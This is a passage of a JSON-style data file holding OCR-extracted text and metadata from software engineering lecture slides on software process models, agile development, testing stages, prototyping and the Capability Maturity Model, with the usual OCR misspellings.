| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:21+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-029-0000": { |
| "id": "CO3001-chapter-2-slide-029-0000", |
| "text": "SOETWARE ENGINEERING - FOR OR/ENIAT/ON Software Engineering is a branch of systems engineering concerned with the development of large and complex software intensive systems. It focuses on: the real-world goals for, services provided by, and constraints on such systems, the precise specification of systems structure and behaviour, and the implementations of these specifications, the activities required in order to develop an assurance that the specifications and real world-world goals have been met, - the evolution of these systems over time, and across systems families, - It is also concerned with the processes, methods and tools for the development of software intensive systems in an economic and timely manner. Reference: A. Finkelsteir BK Software Engineering 4 TP.HCM Dr R Bahsoon", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_004.png", |
| "page_index": 29, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:28+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-030-0000": { |
| "id": "CO3001-chapter-2-slide-030-0000", |
| "text": "THE SOETWARE PROCESS A structured set of activities required to develop a software system. Specification Design and implementation Validation Evolution an abstract representation of a process BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 5 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_005.png", |
| "page_index": 30, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:32+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-031-0000": { |
| "id": "CO3001-chapter-2-slide-031-0000", |
| "text": "SOME SOETWARE PROCESS MODELS The waterfall model Plan-driven model. Separate and distinct phases of specification and development. Incremental development Specification, development and validation are interleaved. May be plan-driven or agile. Integration and configuration The system is assembled from existing configurable components. May be plan-driven or agile. In practice, most large systems are developed using a process that incorporates elements from all of these models. BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 6 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_006.png", |
| "page_index": 31, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:37+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-032-0000": { |
| "id": "CO3001-chapter-2-slide-032-0000", |
| "text": "THE WATERFALL MODEL Requirements definition System and software design Implementation and unit testing Integration and system testing Operation and maintenance In principle, a phase has to be complete before moving onto the next phase BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 1 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_007.png", |
| "page_index": 32, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:41+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-033-0000": { |
| "id": "CO3001-chapter-2-slide-033-0000", |
| "text": "Requirements definition System and WATEREALL MODEL USAGES software design Implementation and unit testing Integration and system testing Operation and The main drawback: maintenance the difficulty of accommodating change after the process is underway Mostly used for large systems engineering projects a system is developed at several sites. the plan-driven nature of the waterfall model helps coordinate the work. When the requirements are well-understood and changes will be fairly limited during the design process. - Few business systems have stable requirements. BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 8 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_008.png", |
| "page_index": 33, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:48+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-034-0000": { |
| "id": "CO3001-chapter-2-slide-034-0000", |
| "text": "INCREMENTAL DEVELOPMENT Concurrent activities Initial Specification version Outline Intermediate Development description versions Final Validation version BK Spring 2025 CHAPTER2.SOFTWARE PROCESSES TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_009.png", |
| "page_index": 34, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:52+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-035-0000": { |
| "id": "CO3001-chapter-2-slide-035-0000", |
| "text": "INCREMENTAL DEVELOPMENT BENEEITS Reduce the cost of accommodating changing customer requirements has been done More rapid delivery and deployment of useful software to the customer BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 10 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_010.png", |
| "page_index": 35, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:55+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-036-0000": { |
| "id": "CO3001-chapter-2-slide-036-0000", |
| "text": "INCREMENTAL DEVELOPMENT PROBLEMS The process is not visible. - Managers need regular deliverables - Not cost-effective to produce documents for every product version added. Need time and money on refactoring to improve the software Regular change tends to corrupt the structure. Incorporating further software changes becomes increasingly difficult and costly BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 11 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_011.png", |
| "page_index": 36, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:42:59+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-037-0000": { |
| "id": "CO3001-chapter-2-slide-037-0000", |
| "text": "AGILE DEVELOPMENT Plan-based development i.e.: waterfall model, incremental development Requirements Requirements Design and engineering implementation specification Requirements change requests Agile development Requirements Design and engineering implementation BK Spring 2025 CHAPTER 3.AGILE SOFTWARE DEVELOPMENT 12 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_012.png", |
| "page_index": 37, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:03+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-038-0000": { |
| "id": "CO3001-chapter-2-slide-038-0000", |
| "text": "AGILE DEVELOPMENT Plan-based development i.e.: waterfall model, incremental development Requirements Requirements Design and engineering implementation specification Requirements change requests Agile development Requirements Design and engineering implementation BK Spring 2025 CHAPTER 3.AGILE SOFTWARE DEVELOPMENT 13 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_013.png", |
| "page_index": 38, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:08+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-039-0000": { |
| "id": "CO3001-chapter-2-slide-039-0000", |
| "text": "SCRUM - THE MOST POPULAR AGILE DEVELOPMENT APPROACHES DAILY SCRUM MEETING 24 HOURS POTENTIALLY PRODUCT SPRINT SHIPPABLE BACKLOG BACKLOG PRODUCT INCREMENT Z-4 WEEKS COPYRIGHT O 2OOS,MOUNTAIN GOAT SOFTWARE BK TP.HCM Spring 2025", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_014.png", |
| "page_index": 39, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:12+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-040-0000": { |
| "id": "CO3001-chapter-2-slide-040-0000", |
| "text": "DAILY SCRUM MEETING 24 HOURS AGILE DEVELOPMENT POTENTIALLY PRODUCT SPRINT SHIPPABLE BACKLOG BACKLOG PRODUCT INCREMENT 2-4 WEEKS COPYRIGHT 2OO5, MOUNTAIN GOAT SOFTWARE PROs CONs More flexible Hard to predict Product get to market Final product is not faster released first Documentation gets left Better communication behind BK Spring 2025 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_015.png", |
| "page_index": 40, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:18+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-041-0000": { |
| "id": "CO3001-chapter-2-slide-041-0000", |
| "text": "REUSE-ORIENTED SOETWARE ENGINEERING existing components or application systems (COTS - Commercial-off-the-shelf) systems). Stand-alone application systems (COTS) Package objects / component framework such as .NET or J2EE Web services Reused elements may be configured to adapt their behaviour and functionality to a user's requirements Reuse is now the standard approach for building many types of business system BK Spring 2025 CHAPTER2.SOETWAREPROCESSES 16 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_016.png", |
| "page_index": 41, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:21+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-042-0000": { |
| "id": "CO3001-chapter-2-slide-042-0000", |
| "text": "REUSE-ORIENTED SOFTWARE ENGINEERING Application system Configure available Software application discovery system Requirements Requirements refinement Adapt specification components Software Integrate evaluation system Components available Develop new components BK Spring 2025 CHAPTER2.SOETWAREPROCESSES 17 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_017.png", |
| "page_index": 42, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:25+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-043-0000": { |
| "id": "CO3001-chapter-2-slide-043-0000", |
| "text": "ADVANTAGES AND DISADVANTAGES Reduced costs and risks as less software is developed from scratch Faster delivery and deployment of system But requirements compromises are inevitable so system may not meet real needs of users V Loss of control over evolution of reused system elements BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 18 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_018.png", |
| "page_index": 43, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:29+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-044-0000": { |
| "id": "CO3001-chapter-2-slide-044-0000", |
| "text": "HYBRID DEVELOPMENT Hybrid Software Micro(<10 employees Development APPROACHES IN Improved time-to-market 29% Approaches in Improvedproductivity 57% Practice SOFTWARE Improved employee satisfaction 29% A Luropean Ferspective Improved frequency of delivery 29% SYSTEMS Small (11-50 employees) Improved time-to-market 20% Improved productivity 20% DEVELOPMENT Improved employee satisfaction 80% Improved frequency of delivery 40% (HELENA) Medium(51-250 employees) Improved time-to-market 50% Improvedproductivity 58% Improved employee satisfaction 33% Many companies face the Improved frequency of delivery 58% problem of selecting a suitable Large (251-2499 employees) Improved time-to-market 38% development approach fitting Improved productivity 81% Improved employee satisfaction 19% to their specific context Improved frequency of delivery 62% Very Large (>2500 employees) Improved time-to-market 44% Improvedproductivity 64% Improved employee satisfaction 50% Improved frequency of delivery 64% Kuhrmann, M., P. Diebold, J. Munch, P. Tell, K. Trektere, F. McCaffery, V. Garousi, et al. 2019. \"Hybrid Software Development Approaches in Practice: A European Perspective.\" /EEE Software 36 (4): 20-31. https://doi.org/10.1109/MS.2018.110161245 BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 19 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_019.png", |
| "page_index": 44, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:39+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-045-0000": { |
| "id": "CO3001-chapter-2-slide-045-0000", |
| "text": "A DISCUSSION CASE https://docs.google.com/document/d/1S05m- iNqgjqhPTAkPJM6FfoXdnmv6EO4q_drPjeXqTA/edit?usp=sharing BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_020.png", |
| "page_index": 45, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:42+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-046-0000": { |
| "id": "CO3001-chapter-2-slide-046-0000", |
| "text": "PROCESS ACTIVITIES BK Spring 2025 CHAPTER 2.SOFTWAREPROCESSES 21 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_021.png", |
| "page_index": 46, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:44+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-047-0000": { |
| "id": "CO3001-chapter-2-slide-047-0000", |
| "text": "PROCESS ACTIITIES technical, collaborative and managerial activities with the overall goal of specifying, designing, implementing and testing a software system. The four basic process activities (specified in your book) of specification, development, validation and evolution are organized differently in different development processes. In the waterfall model, they are organized in sequence, whereas in incremental development they are inter-leaved. BK 16 Spring 2025 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_022.png", |
| "page_index": 47, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:49+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-048-0000": { |
| "id": "CO3001-chapter-2-slide-048-0000", |
| "text": "ACTIVITY: SOETWARE SPECIEICATION constraints on the system's operation and development. Feasibility study 7 l Use: Requirements engineering process Requirements elicitation and analysis Requirements specification Requirements validation BK Spring 2025 CHAPTER 2.SOETWAREPROCESSES 23 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_023.png", |
| "page_index": 48, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:52+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-049-0000": { |
| "id": "CO3001-chapter-2-slide-049-0000", |
| "text": "THE REQUIREMENTS ENGINEERING PROCESS Requirements elicitation and analysis Requirements specification Requirements validation System descriptions User and system requirements Requirements document BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 24 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_024.png", |
| "page_index": 49, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:43:56+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-050-0000": { |
| "id": "CO3001-chapter-2-slide-050-0000", |
| "text": "ACTIVITY: SOETWARE DESIGN AND IMPLEMENTATION SOETWARE DEVELOPMENT executable system. Two (sub) activities: Software design Design a software structure that realises the specification; Implementation Translate this structure into an executable program; The activities of design and implementation are closely related and may be inter-leaved. BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 25 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_025.png", |
| "page_index": 50, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:01+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-051-0000": { |
| "id": "CO3001-chapter-2-slide-051-0000", |
| "text": "A GENERAL MODEL OE THE DESIGN PROCESS Design inputs Platform Requirements Data information specification description Design activities Architectural Interface Component design design design Database design Design outputs System Database Interface Component architecture specification specification specification BK Spring 2025 CHAPTER2.SOETWAREPROCESSES 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_026.png", |
| "page_index": 51, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:05+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-052-0000": { |
| "id": "CO3001-chapter-2-slide-052-0000", |
| "text": "SYSTEM IMPLEMENTATION The software is implemented either by developing a program or programs or by configuring an application system. Design and implementation are interleaved activities for most Programming is an individual activity with no standard process. Debugging is the activity of finding program faults and correcting these faults. BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 27 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_027.png", |
| "page_index": 52, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:09+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-053-0000": { |
| "id": "CO3001-chapter-2-slide-053-0000", |
| "text": "ACTIVITY: SOETWARE VALIDATION building the thing right? Verification and validation (V & V) - to show that a system conforms to its specification and meets the requirements of the system customer. Involves checking and review processes and system testinig. System testing: executing the system with test cases Testing: the most commonly used V & V activity. building the right thing? BK Spring 2025 CHAPTER 2.SOFTWAREPROCESSES 28 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_028.png", |
| "page_index": 53, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:14+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-054-0000": { |
| "id": "CO3001-chapter-2-slide-054-0000", |
| "text": "STAGES OE TESTING Component Acceptance System testing testing testing . Test individual components independently Testing of the system as a whole Testing with customer data BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 29 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_029.png", |
| "page_index": 54, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:18+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-055-0000": { |
| "id": "CO3001-chapter-2-slide-055-0000", |
| "text": "TESTING PHASES IN A PLAN-DRIVEN SOETWARE PROCESS Requirements System System Detailed specification specification design design System Sub-system Module and Acceptance integration Integration unit code test plan test plan test plan and test Acceptance System Sub-system Service test Integration test Integration test BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 30 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_030.png", |
| "page_index": 55, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:23+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-056-0000": { |
| "id": "CO3001-chapter-2-slide-056-0000", |
| "text": "ACTIVITY: SOETWARE EVOLUTION Software is inherently flexible and can change. Requirements can change (changing business circumstances) => the software must also evolve and change. Define system Assess existing Modify Propose system requirements systems changes systems Existing New systems system BK Spring 2025 CHAPTER2.SOETWAREPROCESSES 31 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_031.png", |
| "page_index": 56, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:27+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-057-0000": { |
| "id": "CO3001-chapter-2-slide-057-0000", |
| "text": "COPING WlTH l CHANGE BK Spring 2025 CHAPTER 2.SOFTWAREPROCESSES 32 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_032.png", |
| "page_index": 57, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:29+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-058-0000": { |
| "id": "CO3001-chapter-2-slide-058-0000", |
| "text": "COPING WITH CHANGE Change is inevitable in all large software projects. Business changes - New technologies Changing platforms 1 7 s Change leads to rework costs include rework (re-analysing requirements) and implementing new functionality BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 33 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_033.png", |
| "page_index": 58, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:33+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-059-0000": { |
| "id": "CO3001-chapter-2-slide-059-0000", |
| "text": "SOETWARE PROTOTYPING demonstrate concepts and try out design options. requirements engineering process: requirements elicitation and validation; design processes: options and develop Ul design; testing process: run back-to-back tests. Benefits: Improved system usability. A closer match to users' real needs Improved design quality Improved maintainability BK Spring 2025 34 TP.HCM Reduced development effort.", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_034.png", |
| "page_index": 59, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:38+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-060-0000": { |
| "id": "CO3001-chapter-2-slide-060-0000", |
| "text": "THE PROCESS OE PROTOTYPE DEVELOPMENT Establish Define Develop Evaluate prototype prototype prototype prototype objectives functionality Prototyping Outline Executable Evaluation plan definition prototype report Prototype development: . May be based on rapid prototyping languages or tools May involve leaving out functionality BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 35 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_035.png", |
| "page_index": 60, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:42+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-061-0000": { |
| "id": "CO3001-chapter-2-slide-061-0000", |
| "text": "INCREMENTAL DELIVERY The development and delivery is broken down into increments each increment delivering part of the required functionality. user requirements are prioritised and the highest priority requirements are included in early increments. Incremental development: by developer Incremental delivery: for end-user BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 36 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_036.png", |
| "page_index": 61, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:46+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-062-0000": { |
| "id": "CO3001-chapter-2-slide-062-0000", |
| "text": "INCREMENTAL DELIVERY Define outline Assign requirements Design system Develop system requirements to increments architecture increment System incomplete? Validate Integrate Validate Deploy increment increment system increment System complete? Final system Advantages: Problems: system functionality is available earlier. : may require a set of basic facilities early increments act as a prototype the specification is developed in lower risk of overall project failure. conjunction with the software. highest priority system services receive most testing BK Spring 2025 CHAPTER 2.SOETWAREPROCESSES 37 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_037.png", |
| "page_index": 62, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:52+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-063-0000": { |
| "id": "CO3001-chapter-2-slide-063-0000", |
| "text": "PROCESS IMPROVEMENT BK Spring 2025 CHAPTER 2.SOFTWAREPROCESSES 38 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_038.png", |
| "page_index": 63, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:54+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-064-0000": { |
| "id": "CO3001-chapter-2-slide-064-0000", |
| "text": "PROCESS IMPROVEMENT enhancing the quality of software, reducing costs or accelerating development processes. Process improvement Measure understanding existing processes and changing these processes Change Analyze BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 39 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_039.png", |
| "page_index": 64, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:44:59+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-065-0000": { |
| "id": "CO3001-chapter-2-slide-065-0000", |
| "text": "PROCESS IMPROVEMENT ACTIVITIES Process measurement These measurements forms a baseline that helps you decide if process improvements have been effective. Process analysis identified. Process models (sometimes called process maps) that describe the process may be developed. Process change weaknesses. These are introduced and the cycle resumes to collect data about the effectiveness of the changes. BK Spring 2025 CHAPTER 2.SOETWAREPROCESSES 40 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_040.png", |
| "page_index": 65, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:03+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-066-0000": { |
| "id": "CO3001-chapter-2-slide-066-0000", |
| "text": "THE CAPABILITY MATURITY MODEL (CMM) 71 Capability Maturity Model Integration (CMMl) is a process level improvement training and appraisal program CMMI defines the most important elements that are required to build great products, or deliver great service It is required by many U.S. Government contracts, especially in software development. BK Spring 2025 CHAPTER2.SOFTWAREPROCESSES 41 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_041.png", |
| "page_index": 66, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:07+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-067-0000": { |
| "id": "CO3001-chapter-2-slide-067-0000", |
| "text": "THE CAPABILITY MATURITY MODEL (CMM) Level 5 Process improvement strategies Optimizing defined and used Level 4 Quality management Quantitatively strategies defined and used managed Level 3 Process management procedures Defined and strategies defined and used Level 2 Product management procedures Managed defined and used Level 7 Essentially uncontrolled Initial http://en.wikipedia.org/wiki/Capability_Maturity_Model_ Integration BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 42 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_042.png", |
| "page_index": 67, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:12+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-068-0000": { |
| "id": "CO3001-chapter-2-slide-068-0000", |
